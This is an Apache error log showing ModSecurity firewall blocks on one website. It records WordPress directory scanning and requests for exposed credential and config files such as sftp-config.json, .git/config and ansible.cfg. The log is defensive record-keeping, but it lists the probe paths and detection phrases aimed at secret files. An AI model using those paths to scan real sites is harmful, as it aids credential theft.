[Thu Mar 05 22:55:04.395925 2026] [:error] [pid 62173:tid 62278] [client 138.199.19.165:51720] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/fonts/"] [unique_id "aamZSGj_GWbFb-1ncGmCAwAAABg"]
[Thu Mar 05 22:55:04.932135 2026] [:error] [pid 8151:tid 8229] [client 138.199.19.165:51736] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/fonts/"] [unique_id "aamZSJO3dLEidct1HvCzywAAAYo"]
[Thu Mar 05 22:55:05.453040 2026] [:error] [pid 62176:tid 62285] [client 138.199.19.165:51756] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/fonts/"] [unique_id "aamZSSNfTPJryi30JPkLSgAAAEE"]
[Thu Mar 05 22:55:05.995108 2026] [:error] [pid 62173:tid 62258] [client 138.199.19.165:58842] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/contact-form-7/admin/js/"] [unique_id "aamZSWj_GWbFb-1ncGmCCQAAAAY"]
[Thu Mar 05 22:55:06.567497 2026] [:error] [pid 62177:tid 62324] [client 138.199.19.165:58852] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/contact-form-7/admin/js/"] [unique_id "aamZShWSQc2OzPrsnwX9SQAAAIw"]
[Thu Mar 05 22:55:07.155883 2026] [:error] [pid 53350:tid 53393] [client 138.199.19.165:58874] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/contact-form-7/admin/js/"] [unique_id "aamZS6O0Baxc5WFYeP2JWQAAARA"]
[Thu Mar 05 22:55:07.718516 2026] [:error] [pid 53350:tid 53380] [client 138.199.19.165:58882] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/contact-form-7/admin/js/"] [unique_id "aamZS6O0Baxc5WFYeP2JWwAAAQU"]
[Thu Mar 05 22:55:08.292998 2026] [:error] [pid 8151:tid 8232] [client 138.199.19.165:58898] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/contact-form-7/"] [unique_id "aamZTJO3dLEidct1HvCz1gAAAYw"]
[Thu Mar 05 22:55:08.829912 2026] [:error] [pid 53350:tid 53395] [client 138.199.19.165:58918] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/contact-form-7/"] [unique_id "aamZTKO0Baxc5WFYeP2JXgAAARI"]
[Thu Mar 05 22:55:09.373615 2026] [:error] [pid 62435:tid 62452] [client 138.199.19.165:58926] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/contact-form-7/"] [unique_id "aamZTSMZJMDfZh_-8sWU2gAAAMI"]
[Thu Mar 05 22:55:09.934870 2026] [:error] [pid 8151:tid 8236] [client 138.199.19.165:58954] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/contact-form-7/"] [unique_id "aamZTZO3dLEidct1HvCz2gAAAZA"]
[Thu Mar 05 22:55:10.649605 2026] [:error] [pid 8151:tid 8217] [client 138.199.19.165:58978] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wordpress/"] [unique_id "aamZTpO3dLEidct1HvCz3gAAAYA"]
[Thu Mar 05 22:55:11.225706 2026] [:error] [pid 53350:tid 53391] [client 138.199.19.165:58986] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wordpress/"] [unique_id "aamZT6O0Baxc5WFYeP2JaAAAAQ4"]
[Thu Mar 05 22:55:11.744336 2026] [:error] [pid 8151:tid 8232] [client 138.199.19.165:59006] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wordpress/"] [unique_id "aamZT5O3dLEidct1HvCz6gAAAYw"]
[Thu Mar 05 22:55:18.139476 2026] [autoindex:error] [pid 8151:tid 8224] [client 138.199.19.165:59024] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 05 22:55:37.609319 2026] [:error] [pid 8151:tid 8229] [client 138.199.19.165:59024] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/"] [unique_id "aamZaZO3dLEidct1HvC0OgAAAYo"]
[Thu Mar 05 22:55:38.126563 2026] [:error] [pid 41459:tid 41488] [client 138.199.19.165:54974] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/"] [unique_id "aamZaudFBZEnZ3pzxrWLlgAAAU4"]
[Thu Mar 05 22:55:38.659278 2026] [:error] [pid 41459:tid 41491] [client 138.199.19.165:54998] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/"] [unique_id "aamZaudFBZEnZ3pzxrWLlwAAAVE"]
[Thu Mar 05 22:55:39.203160 2026] [:error] [pid 53350:tid 53381] [client 138.199.19.165:55006] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/"] [unique_id "aamZa6O0Baxc5WFYeP2JiQAAAQY"]
[Thu Mar 05 22:55:39.787803 2026] [:error] [pid 41459:tid 41492] [client 138.199.19.165:55030] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/"] [unique_id "aamZa-dFBZEnZ3pzxrWLnAAAAVI"]
[Thu Mar 05 22:55:40.309737 2026] [:error] [pid 62177:tid 62316] [client 138.199.19.165:55070] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/"] [unique_id "aamZbBWSQc2OzPrsnwX9YQAAAIU"]
[Thu Mar 05 22:55:40.844238 2026] [:error] [pid 8151:tid 8225] [client 138.199.19.165:55088] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/"] [unique_id "aamZbJO3dLEidct1HvC0PAAAAYY"]
[Thu Mar 05 22:55:41.378793 2026] [:error] [pid 62176:tid 62306] [client 138.199.19.165:55110] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/"] [unique_id "aamZbSNfTPJryi30JPkLUgAAAFY"]
[Thu Mar 05 22:55:41.898780 2026] [:error] [pid 41459:tid 41490] [client 138.199.19.165:55120] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aamZbedFBZEnZ3pzxrWLpQAAAVA"]
[Thu Mar 05 22:55:42.524187 2026] [:error] [pid 41459:tid 41479] [client 138.199.19.165:55144] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aamZbudFBZEnZ3pzxrWLqAAAAUU"]
[Thu Mar 05 22:55:43.105265 2026] [:error] [pid 53350:tid 53398] [client 138.199.19.165:55166] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aamZb6O0Baxc5WFYeP2JkAAAARU"]
[Thu Mar 05 22:55:43.640558 2026] [:error] [pid 41459:tid 41477] [client 138.199.19.165:55180] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aamZb-dFBZEnZ3pzxrWLqwAAAUM"]
[Thu Mar 05 22:55:44.514168 2026] [:error] [pid 53350:tid 53399] [client 138.199.19.165:55198] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/"] [unique_id "aamZcKO0Baxc5WFYeP2JmAAAARY"]
[Thu Mar 05 22:55:45.038718 2026] [:error] [pid 53350:tid 53400] [client 138.199.19.165:55240] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/"] [unique_id "aamZcaO0Baxc5WFYeP2JmgAAARc"]
[Thu Mar 05 22:55:45.562441 2026] [:error] [pid 62435:tid 62470] [client 138.199.19.165:55248] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/"] [unique_id "aamZcSMZJMDfZh_-8sWU8gAAANQ"]
[Thu Mar 05 22:55:46.239100 2026] [:error] [pid 62176:tid 62287] [client 138.199.19.165:44262] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/"] [unique_id "aamZciNfTPJryi30JPkLVgAAAEM"]
[Thu Mar 05 22:55:46.846194 2026] [:error] [pid 41459:tid 41485] [client 138.199.19.165:44274] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/"] [unique_id "aamZcudFBZEnZ3pzxrWLrQAAAUs"]
[Thu Mar 05 22:55:47.467840 2026] [:error] [pid 41459:tid 41487] [client 138.199.19.165:44288] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/"] [unique_id "aamZc-dFBZEnZ3pzxrWLsQAAAU0"]
[Thu Mar 05 22:55:47.986588 2026] [:error] [pid 8151:tid 8229] [client 138.199.19.165:44296] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/"] [unique_id "aamZc5O3dLEidct1HvC0QQAAAYo"]
[Thu Mar 05 22:55:48.514549 2026] [:error] [pid 62435:tid 62454] [client 138.199.19.165:44322] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/"] [unique_id "aamZdCMZJMDfZh_-8sWU9AAAAMQ"]
[Thu Mar 05 22:55:49.103767 2026] [:error] [pid 8151:tid 8232] [client 138.199.19.165:44342] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/"] [unique_id "aamZdZO3dLEidct1HvC0RwAAAYw"]
[Thu Mar 05 22:55:49.670295 2026] [:error] [pid 8151:tid 8243] [client 138.199.19.165:44370] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/"] [unique_id "aamZdZO3dLEidct1HvC0SQAAAZc"]
[Thu Mar 05 22:55:50.252451 2026] [:error] [pid 8151:tid 8217] [client 138.199.19.165:44376] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/"] [unique_id "aamZdpO3dLEidct1HvC0TwAAAYA"]
[Thu Mar 05 22:55:50.771690 2026] [:error] [pid 41459:tid 41479] [client 138.199.19.165:44394] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/"] [unique_id "aamZdudFBZEnZ3pzxrWLuAAAAUU"]
[Thu Mar 05 22:55:51.498312 2026] [:error] [pid 62173:tid 62261] [client 138.199.19.165:44426] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/"] [unique_id "aamZd2j_GWbFb-1ncGmCFAAAAAk"]
[Thu Mar 05 22:55:52.052748 2026] [:error] [pid 62173:tid 62256] [client 138.199.19.165:44444] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/"] [unique_id "aamZeGj_GWbFb-1ncGmCFQAAAAQ"]
[Thu Mar 05 22:55:52.631519 2026] [:error] [pid 62177:tid 62335] [client 138.199.19.165:44464] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/"] [unique_id "aamZeBWSQc2OzPrsnwX9bAAAAJc"]
[Thu Mar 05 22:55:53.166541 2026] [:error] [pid 41459:tid 41491] [client 138.199.19.165:44494] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/"] [unique_id "aamZeedFBZEnZ3pzxrWLvQAAAVE"]
[Thu Mar 05 22:55:53.733238 2026] [:error] [pid 53350:tid 53388] [client 138.199.19.165:44504] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/"] [unique_id "aamZeaO0Baxc5WFYeP2JoQAAAQs"]
[Thu Mar 05 22:55:54.540016 2026] [:error] [pid 41459:tid 41477] [client 138.199.19.165:44524] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/"] [unique_id "aamZeudFBZEnZ3pzxrWLwQAAAUM"]
[Thu Mar 05 22:55:55.079600 2026] [:error] [pid 62435:tid 62468] [client 138.199.19.165:44542] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/"] [unique_id "aamZeyMZJMDfZh_-8sWU9wAAANI"]
[Thu Mar 05 22:55:55.731466 2026] [:error] [pid 53350:tid 53377] [client 138.199.19.165:44558] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/"] [unique_id "aamZe6O0Baxc5WFYeP2JpwAAAQI"]
[Thu Mar 05 23:18:22.469002 2026] [:error] [pid 8151:tid 8220] [client 14.215.163.132:54650] [client 14.215.163.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aamevpO3dLEidct1HvDGrgAAAYE"]
[Fri Mar 06 00:45:38.418869 2026] [:error] [pid 48372:tid 48411] [client 103.77.107.222:52224] [client 103.77.107.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/sftp-config.json"] [unique_id "aamzMkWaQyQyfhXPRrYG9wAAAVY"]
[Fri Mar 06 00:45:38.683643 2026] [:error] [pid 48372:tid 48406] [client 103.77.107.222:52344] [client 103.77.107.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aamzMkWaQyQyfhXPRrYG-QAAAVE"]
[Fri Mar 06 01:19:03.737178 2026] [:error] [pid 27687:tid 27704] [client 3.236.75.40:46844] [client 3.236.75.40] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/airflow.cfg"] [unique_id "aam7B0I2IG23EwU7sL8abAAAAIM"]
[Fri Mar 06 01:19:03.754853 2026] [:error] [pid 48372:tid 48392] [client 3.236.75.40:46842] [client 3.236.75.40] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/apache.conf"] [unique_id "aam7B0WaQyQyfhXPRrYWsgAAAUU"]
[Fri Mar 06 01:19:04.700487 2026] [:error] [pid 27687:tid 27701] [client 3.236.75.40:46852] [client 3.236.75.40] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/ansible.cfg"] [unique_id "aam7CEI2IG23EwU7sL8abwAAAIA"]
[Fri Mar 06 01:43:09.267725 2026] [:error] [pid 47665:tid 48025] [client 35.196.16.210:42232] [client 35.196.16.210] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aanArXvwcWrOi3qzRcd9qAAAAMk"]
[Fri Mar 06 04:44:47.149687 2026] [:error] [pid 8652:tid 8788] [client 4.194.42.236:5478] [client 4.194.42.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aanrP9Yc_V4I9STsZ9D3uQAAAEU"]
